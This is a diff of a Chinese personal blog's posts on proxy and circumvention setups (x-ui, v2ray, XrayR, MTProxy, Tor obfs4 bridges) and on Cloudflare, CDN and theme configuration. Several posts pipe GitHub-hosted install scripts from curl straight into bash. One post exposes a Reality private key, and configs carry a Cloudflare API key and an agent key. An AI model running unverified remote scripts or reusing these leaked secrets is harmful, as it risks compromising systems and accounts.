year=$(date +"%Y")
user="" # 数据库用户名
password="" # 数据库密码

View File

@ -4,7 +4,7 @@ date: 2024-07-02T17:19:38+08:00
tags: []
---
> **系统自带内核高于4.9 则默认已包含 BBR**
> **系统自带内核高于 4.9 则默认已包含 BBR**
### 1. 检查内核版本
@ -14,12 +14,12 @@ uname -r
> 内核版本高于 4.9 就行。
### 2. 开启BBR
### 2. 开启 BBR
通过向 `/etc/sysctl.conf`文件添加配置来启用BBR
通过向 `/etc/sysctl.conf`文件添加配置来启用 BBR
```bash
echo "net.core.default_qdisc=fq" | sudo tee -a /etc/sysctl.conf
echo "net.core.default_qdisc=fq" | sudo tee -a /etc/sysctl.conf
echo "net.ipv4.tcp_congestion_control=bbr" | sudo tee -a /etc/sysctl.conf
```
@ -31,13 +31,13 @@ su root -c "sudo sysctl -p"
### 4. 生效检测
**执行下面命令,如果结果中带有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,则证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
**执行下面命令,如果结果中带有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,则证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
```bash
sysctl net.ipv4.tcp_available_congestion_control
```
**注:也可以执行下面命令,如果结果中有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,也可以证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
**注:也可以执行下面命令,如果结果中有****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **,也可以证明你的内核已开启****[bbr](https://www.moeelf.com/tag/bbr "View all posts in bbr")** **。**
```bash
lsmod | grep bbr

View File

@ -0,0 +1,33 @@
---
title: "3x-ui配置"
date: 2025-04-19T10:48:48+08:00
tags: []
---
3x-ui[https://github.com/MHSanaei/3x-ui](https://github.com/MHSanaei/3x-ui)
安全:`Reality`
Dest (Target)
```txt
apple.com:443
```
SNI
```txt
apple.com
```
公钥
```txt
jCK3ORKMwzmJsig7gMWOTGlaF2wvuVAcEr7jbB1bnwU
```
私钥
```txt
oN60djdg_ZRUiChp0Rj-emZ3VhM_x8rL93H4rhdq1Wc
```

View File

@ -6,19 +6,19 @@ tags: ["x-ui"]
## 一、部署安装
GitHub项目地址[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui](https://github.com/FranzKafkaYu/x-ui)
1. 复制粘贴以下代码,并运行:
```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
```
```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
```
注意在IPv6 Only的VPS中例如Euserv、Hax请先安装warp否则无法访问Github API而报错。
注意:在 IPv6 Only VPS 例如Euserv、Hax请先安装 warp否则无法访问 Github API 而报错。
2. 设置用户名密码、面板访问端口。
待出现X-ui的菜单时就已经成功一半了
待出现 X-ui 的菜单时,就已经成功一半了!
## 二、配置
@ -31,7 +31,7 @@ GitHub项目地址[https://github.com/FranzKafkaYu/x-ui](https://github.com/F
- 端口:`443`
- reality`开启`
- 添加用户:+
- flow选择xtls-rprx-vision
- flow 选择 xtls-rprx-vision
- 其他默认
## 三、使用

View File

@ -12,7 +12,7 @@ yum install tor -y
## 2. 安装 obfs4
### 通过python进行编译安装
### 通过 python 进行编译安装
#### 安装所需依赖软件模块
@ -26,21 +26,21 @@ yum install make automake gcc python-pip python-devel libyaml-devel
pip install obfsproxy
```
### 通过go进行编译安装
### 通过 go 进行编译安装
#### 下载go的obfs4项目
#### 下载 go obfs4 项目
```bash
git clone http://www.github.com/Yawning/obfs4
```
#### 进入obfs4目录进行编译
#### 进入 obfs4 目录进行编译
```bash
go build -o obfs4proxy/obfs4proxy ./obfs4proxy
```
#### 复制bofs4proxy到系统工作目录下
#### 复制 bofs4proxy 到系统工作目录下
```bash
cp ./obfs4proxy/obfs4proxy /usr/bin/obfs4proxy
@ -67,13 +67,13 @@ ExtORPort auto
PublishServerDescriptor 0
```
### 重启tor服务
### 重启 tor 服务
```bash
systemctl restart tor
```
### 查看tor服务状态
### 查看 tor 服务状态
```bash
systemctl status tor
@ -128,7 +128,7 @@ iatmode=0
vim /etc/firewalld/zones/public.xml
```
内容如下(本例ORPort端口 => 6666, obfs4端口 => 46396)
内容如下(本例 ORPort 端口 => 6666, obfs4 端口 => 46396)
```xml
<port protocol="tcp" port="ORPort端口"/>
@ -143,4 +143,4 @@ vim /etc/firewalld/zones/public.xml
firewall-cmd --complete-reload
```
[Tor浏览器下载地址](https://www.torproject.org/download/)
[Tor 浏览器下载地址](https://www.torproject.org/download/)

View File

@ -1,11 +0,0 @@
---
title: "dns 解锁"
date: 2025-01-18 14:19:00Z
tags: []
---
## 1. 安装dnsmasq
```bash
yum install dnsmasq -y
```

View File

@ -4,7 +4,7 @@ date: 2023-04-06T19:23:00Z
tags: ["v2board"]
---
确保v2board版本在1.2.5及以上
确保 v2board 版本在 1.2.5 及以上
## 一、安装与更新
@ -14,7 +14,7 @@ bash <(curl -Ls https://raw.githubusercontent.com/XrayR-project/XrayR-release/ma
## 二、域名配置
将域名托管到cloudflared
将域名托管到 cloudflared
## 三、同步时间(重要)
@ -53,20 +53,19 @@ ntpdate time.nist.gov
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址填cf的ip或者伪装的域名
- 节点地址:填 cf ip 或者伪装的域名
- TLS伪装的域名
- 端口443
- 传输协议选择websocket
- 传输协议:选择 websocket
### 配置协议
```json
{
"path": "/随便",
"headers":
{
"Host": "伪装的域名"
}
"path": "/随便",
"headers": {
"Host": "伪装的域名"
}
}
```
@ -78,7 +77,7 @@ ntpdate time.nist.gov
```yaml
Log:
Level: warning # Log level: none, error, warning, info, debug
Level: warning # Log level: none, error, warning, info, debug
AccessPath: # /etc/XrayR/access.Log
ErrorPath: # /etc/XrayR/error.log
DnsConfigPath: # /etc/XrayR/dns.json # Path to dns config, check https://xtls.github.io/config/dns.html for help
@ -92,13 +91,12 @@ ConnectionConfig:
DownlinkOnly: 4 # Time limit when the connection is closed after the uplink is closed, Second
BufferSize: 64 # The internal cache size of each connection, kB
Nodes:
-
PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
- PanelType: "NewV2board" ## 对接的面板类型: SSpanel, V2board, NewV2board, PMpanel, Proxypanel, V2RaySocks
ApiConfig:
ApiHost: "https://****.com" ## 面板域名地址,或自定义个专用后端对接不提供访问的域名
ApiKey: "*****" ## 面板设置的通讯密钥
NodeID: 1 ## 前端节点id
NodeType: V2ray ## 对接的节点类型:可选V2ray, Shadowsocks, Trojan
ApiHost: "https://****.com" ## 面板域名地址,或自定义个专用后端对接不提供访问的域名
ApiKey: "*****" ## 面板设置的通讯密钥
NodeID: 1 ## 前端节点id
NodeType: V2ray ## 对接的节点类型:可选V2ray, Shadowsocks, Trojan
Timeout: 30 # Timeout for the api request
EnableVless: false # Enable Vless for V2ray Type
EnableXTLS: false # Enable XTLS for V2ray and Trojan
@ -113,8 +111,8 @@ CertConfig:
Provider: cloudflare # DNS cert provider, Get the full support list here: https://go-acme.github.io/lego/dns/
Email: test@me.com
DNSEnv: # DNS ENV option used by DNS provider
CLOUDFLARE_EMAIL: test@me.com ##CF登录邮箱
CLOUDFLARE_API_KEY: 57b4d8ec82ec3e ##CF全局api
CLOUDFLARE_EMAIL: test@me.com ##CF登录邮箱
CLOUDFLARE_API_KEY: 57b4d8ec82ec3e ##CF全局api
```
## 六、启动 XrayR

View File

@ -4,7 +4,7 @@ date: 2021-07-31T01:17:00+08:00
tags: ["v2board"]
---
确保v2board版本在1.2.5及以上
确保 v2board 版本在 1.2.5 及以上
## 一、安装与更新
@ -49,9 +49,9 @@ ntpdate time.nist.gov
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址填v2borad的域名或ip
- TLS填v2borad的域名或不填
- 传输协议选择websocket
- 节点地址:填 v2borad 的域名或 ip
- TLS v2borad 的域名或不填
- 传输协议:选择 websocket
### 配置协议

View File

@ -10,36 +10,38 @@ tags: ["v2board"]
## 二、配置 AWS CloudFront
1. 创建aws账号
2. 在aws后台直接搜-`CloudFront`-创建分配
1. 创建 aws 账号
2. 在 aws 后台直接搜-`CloudFront`-创建分配
3. 创建分配配置:
- 源域cloudflared托管的域名
- 协议:仅 HTTPS
- 最低源 SSL 协议TLSv1.1
- 自动压缩对象:否
- 缓存键和源请求Legacy cache settings
- Web Application Firewall (WAF)Do not enable security protections
- 其他设置默认
- 源域cloudflared 托管的域名
- 协议:仅 HTTPS
- 最低源 SSL 协议TLSv1.1
- 自动压缩对象:否
- 缓存键和源请求Legacy cache settings
- Web Application Firewall (WAF)Do not enable security protections
- 其他设置默认
## 三、添加节点
1. 复制一份创造成功的节点
2. 修改复制节点:
- 后台 > 节点管理 > 添加节点
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址CloudFront分配的域名
- TLS关闭
- 端口80
- 父节点:选择创造好的节点
- 传输协议选择websocket
- 配置协议:
```json
{
"path": "/随便",
"headers": {
"Host": "CloudFront分配的域名"
}
}
```
- 后台 > 节点管理 > 添加节点
- 节点名称:随便填写
- 权限组:随便填写
- 节点地址CloudFront 分配的域名
- TLS关闭
- 端口80
- 父节点:选择创造好的节点
- 传输协议:选择 websocket
- 配置协议:
```json
{
"path": "/随便",
"headers": {
"Host": "CloudFront分配的域名"
}
}
```

View File

@ -10,9 +10,9 @@ GitHub 项目地址:[https://github.com/FranzKafkaYu/x-ui][1]
1. 复制粘贴以下代码,并运行:
```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
```
```bash
bash <(curl -Ls https://raw.githubusercontent.com/FranzKafkaYu/x-ui/master/install.sh)
```
注意:在 IPv6 Only 的 VPS 中例如Euserv、Hax请先安装 warp否则无法访问 Github API 而报错。

View File

@ -4,12 +4,12 @@ date: 2021-07-31T00:03:00+08:00
tags: ["v2ray"]
---
## 一、v2ray官方安装
## 一、v2ray 官方安装
```bash
bash <(curl -s -L https://git.io/v2ray.sh)
```
## 二、v2ray-agent安装
## 二、v2ray-agent 安装
v2ray-agent 八合一脚本:[https://github.com/mack-a/v2ray-agent](https://github.com/mack-a/v2ray-agent)

View File

@ -4,8 +4,7 @@ date: 2021-08-09T00:07:00+08:00
tags: []
---
1.同步时间
------
## 1.同步时间
CentOS 7
@ -26,8 +25,7 @@ Debian 9 / Ubuntu 16
ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
ntpdate time.nist.gov
2.一键安装
------
## 2.一键安装
mkdir /home/mtproxy && cd /home/mtproxy
curl -s -o mtproxy.sh https://raw.githubusercontent.com/ellermister/mtproxy/master/mtproxy.sh && chmod +x mtproxy.sh && bash mtproxy.sh

View File

@ -6,39 +6,44 @@ tags: []
三件套包含:
- Google服务框架
- Google 服务框架
- Google Play Service
- Google Play Store
## Google服务框架
## Google 服务框架
下载地址:`https://www.apkmirror.com/apk/google-inc/google-services-framework/`
下载地址:
[https://www.apkmirror.com/apk/google-inc/google-services-framework/](https://www.apkmirror.com/apk/google-inc/google-services-framework/)
首先点击上边的网站到Google服务框架程序的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
首先点击上边的网站,到 Google 服务框架程序的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
选择 noDPI 的版本
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
关于 ARM 版本:
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。
也可以直接下载 universal 版本,也就是兼容 v8 v7 的版本。**
## Google Play Service
下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-services/`
下载地址:
首先点击上边的网站到Google Play Service的发布地址然后找到和自己手机的安卓版本相匹配的版本。
那么就选择noDPI的版本
[https://www.apkmirror.com/apk/google-inc/google-play-services/](https://www.apkmirror.com/apk/google-inc/google-play-services/)
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
首先点击上边的网站,到 Google Play Service 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
那么就选择 noDPI 的版本
关于 ARM 版本:
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**
## Google Play Store
下载地址:`https://www.apkmirror.com/apk/google-inc/google-play-store/`
下载地址:
首先点击上边的网站到Google Play Store的发布地址然后找到和自己手机的安卓版本相匹配的版本。
选择noDPI的版本
[https://www.apkmirror.com/apk/google-inc/google-play-store/](https://www.apkmirror.com/apk/google-inc/google-play-store/)
关于ARM版本
**一般近两年发布的手机ARM版本都是ARMv8。如果是老手机可以先搜一下自己的ARM版本。
也可以直接下载universal版本也就是兼容v8和v7的版本。**
首先点击上边的网站,到 Google Play Store 的发布地址,然后找到和自己手机的安卓版本相匹配的版本。
选择 noDPI 的版本
关于 ARM 版本:
**一般近两年发布的手机ARM 版本都是 ARMv8。如果是老手机可以先搜一下自己的 ARM 版本。
也可以直接下载 universal 版本,也就是兼容 v8 和 v7 的版本。**

View File

@ -12,7 +12,7 @@ tags: ["v2board"]
安装完成后我们登陆宝塔进行环境的安装。
选择使用LNMP的环境安装方式勾选如下信息
选择使用 LNMP 的环境安装方式勾选如下信息:
- ☑️ Nginx 1.17
- ☑️ MySQL 5.6
@ -20,23 +20,23 @@ tags: ["v2board"]
选择快速编译后进行安装。
## 二、安装Redis和文件信息
## 二、安装 Redis 和文件信息
宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。
宝塔面板 > 软件商店 > 找到 PHP 7.3 点击设置 > 安装扩展 > `redis` `fileinfo`进行安装。
## 三、解除被禁止的函数
宝塔面板 > 软件商店 > 找到PHP 7.3点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。
宝塔面板 > 软件商店 > 找到 PHP 7.3 点击设置 > 禁用功能,将 `putenv` `proc_open` `pcntl_alarm` `pcntl_signal` 从列表中删除。
## 四、添加站点
宝塔面板 > 网站 > 添加站点:
- 在域名填入你的域名
- 在数据库中选择MySQL
- 在数据库中选择 MySQL
- 在 PHP 版本中选择 PHP-73
## 五、安装V2Board
## 五、安装 V2Board
### 进入站点目录
@ -57,7 +57,7 @@ rm -rf .htaccess 404.html index.html .user.ini
git clone https://github.com/v2board/v2board.git ./
```
### 安装依赖包以及V2board
### 安装依赖包以及 V2board
```bash
sh init.sh
@ -71,16 +71,16 @@ sh init.sh
```nginx
location /downloads {
}
location / {
try_files $uri $uri/ /index.php$is_args$query_string;
location / {
try_files $uri $uri/ /index.php$is_args$query_string;
}
location ~ .*\.(js|css)?$
{
expires 1h;
error_log off;
access_log /dev/null;
access_log /dev/null;
}
```
@ -97,13 +97,13 @@ sh init.sh
php /www/wwwroot/路径/artisan schedule:run
```
根据上述信息添加每1分钟执行一次的定时任务。
根据上述信息添加每 1 分钟执行一次的定时任务。
## 八、启动队列服务
V2board的邮件系统强依赖队列服务你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
V2board 的邮件系统强依赖队列服务,你想要使用邮件验证及群发邮件必须启动队列服务。下面以宝塔中`supervisor`服务来守护队列服务作为演示。
宝塔面板 > 软件商店 > 部署 > 找到Supervisor进行安装安装完成后点击设置 > 添加守护进程,按照如下填写:
宝塔面板 > 软件商店 > 部署 > 找到 Supervisor 进行安装,安装完成后点击设置 > 添加守护进程,按照如下填写:
- 名称:填写 `V2board`
- 运行目录:选择站点目录
@ -114,11 +114,11 @@ V2board的邮件系统强依赖队列服务你想要使用邮件验证及群
## 常见问题
### 500错误
### 500 错误
可能的原因:
1. 检查站点根目录权限递归755保证目录有可写文件的权限。
2. Redis扩展没有安装或者Redis没有安装造成的。
3. 可以通过查看storage/logs下的日志来排查错误或者开启debug模式。
4. 重启php7.3。
1. 检查站点根目录权限,递归 755保证目录有可写文件的权限。
2. Redis 扩展没有安装或者 Redis 没有安装造成的。
3. 可以通过查看 storage/logs 下的日志来排查错误或者开启 debug 模式。
4. 重启 php7.3。

View File

@ -3,10 +3,11 @@ title: "CDN配置"
date: 2023-12-25T12:07:21+08:00
tags: []
---
## 域名绑定
1. 绑定到需要加速的服务器(源站)
2. 配置到cdn平台(加速域名)
2. 配置到 cdn 平台(加速域名)
## 配置
@ -16,6 +17,6 @@ tags: []
- 加速域名:(加速域名)
- 回源域名填写:(源站)
- 回源host选择:与回源域名一致
- 回源 host 选择:与回源域名一致
改动回源host的目的是为了让vercel那边知道你需要回源到的域名。
改动回源 host 的目的是为了让 vercel 那边知道你需要回源到的域名。

View File

@ -3,18 +3,20 @@ title: "Cloudflare_自选IP"
date: 2024-06-18T16:16:35+08:00
tags: []
---
## Workers
1. DNS解析
1. DNS 解析
1. 删除现有 Workers 解析(自定义域)
2. 将要用的域名解析到自选 IP 上,注意**不要开启**代理(小云朵)
1. 删除现有Workers解析自定义域
2. 将要用的域名解析到自选IP上注意**不要开启**代理(小云朵)
2. 自定义路由
设置->触发器->路由
我要使用`proxy.example.com`作为Workers域名且要访问全部内容
我要使用`proxy.example.com`作为 Workers 域名,且要访问全部内容
```text
proxy.example.com/*
```
```text
proxy.example.com/*
```

View File

@ -82,11 +82,11 @@ jobs:
- name: 安装 Python
uses: actions/setup-python@v2
with:
python-version: '3.x'
python-version: "3.x"
- name: 安装依赖
run: pip install requests
- name: 等待源站部署
run: sleep 1m # 这里用了个笨办法,等待 1 分钟后进行刷新
run: sleep 1m # 这里用了个笨办法,等待 1 分钟后进行刷新
- name: 刷新 CDN
run: python RefreshCDN.py
```

View File

@ -22,30 +22,30 @@ tags: []
```typescript
// 网站基本信息
export const SITE_URL = 'https://your-domain.com';
export const SITE_URL = "https://your-domain.com";
export const SITE_NAME = "你的网站名称";
export const SITE_DESCRIPTION = "网站描述";
// 导航链接
export const NAV_LINKS = [
{ href: '/', text: '首页' },
{ href: '/articles', text: '文章' },
{ href: '/movies', text: '观影' },
{ href: '/books', text: '读书' },
{ href: '/projects', text: '项目' },
{ href: '/other', text: '其他' }
{ href: "/", text: "首页" },
{ href: "/articles", text: "文章" },
{ href: "/movies", text: "观影" },
{ href: "/books", text: "读书" },
{ href: "/projects", text: "项目" },
{ href: "/other", text: "其他" },
];
// 备案信息(如果需要)
export const ICP = '你的ICP备案号';
export const PSB_ICP = '你的公安备案号';
export const PSB_ICP_URL = '备案链接';
export const ICP = "你的ICP备案号";
export const PSB_ICP = "你的公安备案号";
export const PSB_ICP_URL = "备案链接";
// 豆瓣配置
export const DOUBAN_ID = '你的豆瓣ID';
export const DOUBAN_ID = "你的豆瓣ID";
// 旅行足迹
export const VISITED_PLACES = ['中国-北京', '中国-上海', '美国-纽约'];
export const VISITED_PLACES = ["中国-北京", "中国-上海", "美国-纽约"];
```
## 文章写作
@ -98,9 +98,9 @@ tags: ["标签1", "标签2"]
```typescript
export const ARTICLE_EXPIRY_CONFIG = {
enabled: true, // 是否启用文章过期提醒
expiryDays: 365, // 文章过期天数
warningMessage: '这篇文章已经发布超过一年了,内容可能已经过时,请谨慎参考。' // 提醒消息
enabled: true, // 是否启用文章过期提醒
expiryDays: 365, // 文章过期天数
warningMessage: "这篇文章已经发布超过一年了,内容可能已经过时,请谨慎参考。", // 提醒消息
};
```
@ -129,7 +129,7 @@ import GitProjectCollection from '@/components/GitProjectCollection';
import { GitPlatform } from '@/components/GitProjectCollection';
---
<GitProjectCollection
<GitProjectCollection
platform={GitPlatform.GITEA} // 平台类型GITHUB、GITEA、GITEE
username="your-username" // 必填:用户名
title="Git 项目" // 可选:显示标题
@ -146,7 +146,7 @@ import { GitPlatform } from '@/components/GitProjectCollection';
`MediaGrid` 组件用于展示豆瓣的观影和读书记录。
#### 基本用法
基本用法
```astro
---
@ -154,14 +154,14 @@ import MediaGrid from '@/components/MediaGrid.astro';
---
// 展示电影记录
<MediaGrid
<MediaGrid
type="movie" // 类型movie 或 book
title="我看过的电影" // 显示标题
doubanId={DOUBAN_ID} // 使用配置文件中的豆瓣ID
/>
// 展示读书记录
<MediaGrid
<MediaGrid
type="book"
title="我读过的书"
doubanId={DOUBAN_ID}
@ -174,7 +174,7 @@ import MediaGrid from '@/components/MediaGrid.astro';
`WorldHeatmap` 组件用于展示你去过的地方,以热力图的形式在世界地图上显示。
#### 基本用法
基本用法
`src/consts.ts` 中配置你去过的地方:
@ -182,13 +182,13 @@ import MediaGrid from '@/components/MediaGrid.astro';
// 配置你去过的地方
export const VISITED_PLACES = [
// 国内地区格式:'中国-省份/城市'
'中国-黑龙江',
'中国-北京',
'中国-上海',
"中国-黑龙江",
"中国-北京",
"中国-上海",
// 国外地区直接使用国家名
'马来西亚',
'泰国',
'美国'
"马来西亚",
"泰国",
"美国",
];
```
@ -205,8 +205,8 @@ import { VISITED_PLACES } from '@/consts';
<section>
<h2 class="text-3xl font-semibold text-center mb-6">我的旅行足迹</h2>
<div class="mx-auto bg-white dark:bg-gray-800 rounded-xl shadow-lg p-6">
<WorldHeatmap
client:only="react"
<WorldHeatmap
client:only="react"
visitedPlaces={VISITED_PLACES}
/>
</div>
@ -214,7 +214,6 @@ import { VISITED_PLACES } from '@/consts';
</Layout>
```
## 主题切换
系统支持三种主题模式:
@ -236,28 +235,26 @@ import { VISITED_PLACES } from '@/consts';
1. 克隆项目
```bash
git clone https://github.com/your-username/echoes.git
cd echoes
```
```bash
git clone https://github.com/your-username/echoes.git
cd echoes
```
2. 安装依赖
```bash
npm install
# 或者使用 pnpm
pnpm install
```
```bash
npm install
```
3. 修改配置
编辑 `src/consts.ts` 文件,更新网站配置信息。
编辑 `src/consts.ts` 文件,更新网站配置信息。
4. 本地运行
```bash
npm run dev
```
```bash
npm run dev
```
访问 `http://localhost:4321` 查看效果。
@ -266,10 +263,11 @@ npm run dev
### 部署方式选择
1. **Vercel 部署(推荐)**
- 支持所有功能
- 自动部署和 HTTPS
- 支持 API 路由和动态数据
- 可配合多吉云CDN实现自动刷新缓存
- 可配合多吉云 CDN 实现自动刷新缓存
2. **静态托管(如腾讯云)**
- 仅支持静态文件
@ -278,13 +276,13 @@ npm run dev
- 动态数据获取
- 需要手动配置和上传
### CDN加速配置
### CDN 加速配置
博客支持通过多吉云CDN进行加速并可通过GitHub Actions实现自动刷新缓存
博客支持通过多吉云 CDN 进行加速,并可通过 GitHub Actions 实现自动刷新缓存:
1. 按照[CDN配置指南](./cdn配置)配置多吉云CDN
2. 按照[GitHub Actions自动刷新CDN缓存指南](./github-actions自动刷新多吉云_cdn缓存)配置自动刷新
3. 配置完成后每次博客更新时CDN缓存将自动刷新
1. 按照[CDN 配置指南](./cdn配置)配置多吉云 CDN
2. 按照[GitHub Actions 自动刷新 CDN 缓存指南](./github-actions自动刷新多吉云_cdn缓存)配置自动刷新
3. 配置完成后每次博客更新时CDN 缓存将自动刷新
### 部署步骤
@ -299,32 +297,35 @@ npm run dev
1. 修改 `astro.config.mjs`
```javascript
export default defineConfig({
site: SITE_URL,
output: "static",
adapter: undefined,
});
```
```javascript
export default defineConfig({
site: SITE_URL,
output: "static",
adapter: undefined,
});
```
2. 构建并上传:
```bash
npm run build
# 上传 dist/client 目录到静态托管服务
```
```bash
npm run build
# 上传 dist/client 目录到静态托管服务
```
## 常见问题
1. **图片无法显示**
- 检查图片路径是否正确
- 确保图片已放入 `public` 目录
2. **豆瓣数据无法获取**
- 确认豆瓣 ID 配置正确
- 检查豆瓣记录是否公开
3. **Git 项目无法显示**
- 验证用户名配置
- 确认 API 访问限制

View File

@ -503,7 +503,7 @@ main.main {
> 注意对照原主题,不要把重复的部分也写进去
```bash
.......已省略,请自己对照......
.......已省略,请自己对照......
{{ partialCached "footer/footer" . }}
{{ partialCached "article/components/photoswipe" . }}
@ -528,7 +528,7 @@ main.main {
{{ end }}
```
#### 代码块引入MacOS窗口样式
#### 代码块引入 MacOS 窗口样式
在主题目录下的`assets`文件夹中的`img`文件夹中,创建一个名为`code-header.svg`的文件,在文件中写入以下内容:
@ -594,7 +594,7 @@ main.main {
var wordCount = {{ .WordCount }};
var link = {{ .RelPermalink}};
var title = {{ .Title }};
// multiple posts in same day
if (value == null) {
dataMap.set(key, [{wordCount, link, title}]);
@ -612,7 +612,7 @@ main.main {
}
data.push([key, (sum / 1000).toFixed(1)]);
}
var startDate = new Date();
var year_Mill = startDate.setFullYear((startDate.getFullYear() - 1));
var startDate = +new Date(year_Mill);
@ -623,7 +623,7 @@ main.main {
endDate = echarts.format.formatTime('yyyy-MM-dd', endDate);
// change date range according to months we want to render
function heatmap_width(months){
function heatmap_width(months){
var startDate = new Date();
var mill = startDate.setMonth((startDate.getMonth() - months));
var endDate = +new Date();
@ -681,10 +681,10 @@ main.main {
orient: 'horizontal',
left: 'center',
top: 30,
inRange: {
inRange: {
// [floor color, ceiling color]
color: ['#7aa8744c', '#7AA874' ]
color: ['#7aa8744c', '#7AA874' ]
},
splitNumber: 4,
text: ['千字', ''],
@ -729,7 +729,7 @@ main.main {
window.open(link, '_blank').focus();
}
});
</script>
</script>
```
文章里输入(将`\`删除)

View File

@ -4,12 +4,11 @@ date: 2025-01-15T00:34:11Z
tags: []
---
## 前端
## tailwind
> 快速构建css样式器
> 快速构建 css 样式器
### 可响应式布局
@ -35,13 +34,13 @@ module.exports = {
### 安全
1. json web token保证用户令牌不是篡改或伪造注意是明文传输
2. hash密码避免数据库泄漏带来的隐私风险
2. hash 密码:避免数据库泄漏带来的隐私风险
3. cors可以避免其他站点的非法请求不过只适用用浏览器
4. 构建sql查询器中间件使sql语句可以结构化可以根据危险等级构建不同的查询等级最大程度避免xxs
4. 构建 sql 查询器中间件:使 sql 语句可以结构化,可以根据危险等级构建不同的查询等级,最大程度避免 xxs
### 接口
1. 适用restful接口具有很好的可读性
1. 适用 restful 接口具有很好的可读性
## 其他

View File

@ -6,7 +6,7 @@ tags: [cloudflare]
项目地址:[https://github.com/csh733/autouam_control](https://github.com/csh733/autouam_control)
**原理:** 通过检测系统负载cpu或load自动开启 Cloudflare UAM 和 challenge验证码
**原理:** 通过检测系统负载cpu load自动开启 Cloudflare UAM 和 challenge验证码
## 宝塔面板计划任务
@ -230,3 +230,4 @@ for ((;;)); do
sleep $interval
clear
done
```

View File

@ -6,15 +6,15 @@ tags: []
## 百度站长平台
[百度搜索引擎][1]是国内最主流的搜索引擎当然百度站长平台也是站长们使用最多的平台功能很齐全网站各个方面的数据都显示的很到位能够很好地辅助站长们进行SEO优化。
[百度搜索引擎][1]是国内最主流的搜索引擎,当然百度站长平台也是站长们使用最多的平台,功能很齐全,网站各个方面的数据都显示的很到位,能够很好地辅助站长们进行 SEO 优化。
## 搜狗站长平台
[搜狗站长平台][2]和百度相比就显得略逊一些只提供一些基础的功能。虽然前一段时间有一份报告称搜狗PC用户已经超越百度但目前搜狗站长平台还是很少更新站长学院的公告在17年之后就没有更新了。
[搜狗站长平台][2]和百度相比就显得略逊一些,只提供一些基础的功能。虽然前一段时间有一份报告称搜狗 PC 用户已经超越百度,但目前搜狗站长平台还是很少更新,站长学院的公告在 17 年之后就没有更新了。
## 360站长平台
## 360 站长平台
[360站长平台][3]在国内勉强排上第二和百度相比360的功能还不够完善算法也是偶尔更新一次而且不知道你有没有发现360收录干货文章特别难这也让很多站长放弃了360优化。
[360 站长平台][3]在国内勉强排上第二,和百度相比 360 的功能还不够完善,算法也是偶尔更新一次,而且不知道你有没有发现 360 收录干货文章特别难,这也让很多站长放弃了 360 优化。
## 神马站长平台
@ -22,7 +22,7 @@ tags: []
## 必应站长平台
[必应][5]是微软旗下的搜索引擎记得以前更新W10的时候浏览器自带的就是必应搜索引擎国内用户很少估计有的人听都没听过。
[必应][5]是微软旗下的搜索引擎,记得以前更新 W10 的时候浏览器自带的就是必应搜索引擎,国内用户很少,估计有的人听都没听过。
## 头条站长平台

View File

@ -33,7 +33,7 @@ tags: ["服务器探针", "cloudflare"]
#### 部署面板服务
github镜像
github 镜像
```bash
curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh
@ -94,7 +94,7 @@ proxy_set_header Host $host;
[nssm](http://nssm.cc/download)
下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口cd nssm解压的位置。
下载软件后,解压到任意位置,然后按 Win + R 打开运行窗口cd nssm 解压的位置。
### 二、设置 NSSM
@ -104,7 +104,7 @@ proxy_set_header Host $host;
nssm install <servername>
```
>如: nssm install nezha
> 如: nssm install nezha
弹出 UI设置如下
@ -120,11 +120,11 @@ Arguments: 启动参数
-i {AgentID} -s {Serverip}:{Port} -p {AgentKey} -d
```
>例如:
> 例如:
>
>-i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
> -i 10 -s 8.8.8.8:55555 -p 8aeccc7babe9c3cb0 -d
>
>自己对应修改,填写完毕后,点击 Install Servce。
> 自己对应修改,填写完毕后,点击 Install Servce。
### 三、启动服务

View File

@ -4,17 +4,17 @@ date: 2023-07-10T20:21:00Z
tags: ["cloudflare"]
---
受限于宝塔面板默认防火墙Firewalld的限制要想宝塔面板下站点如何只限定CDN的IP节点回源请求的话最简便有效的办法就是将CDN 的IP节点一个一个的加入到宝塔的【端口规则】里需要限制哪个端口就在哪个端口下添加。
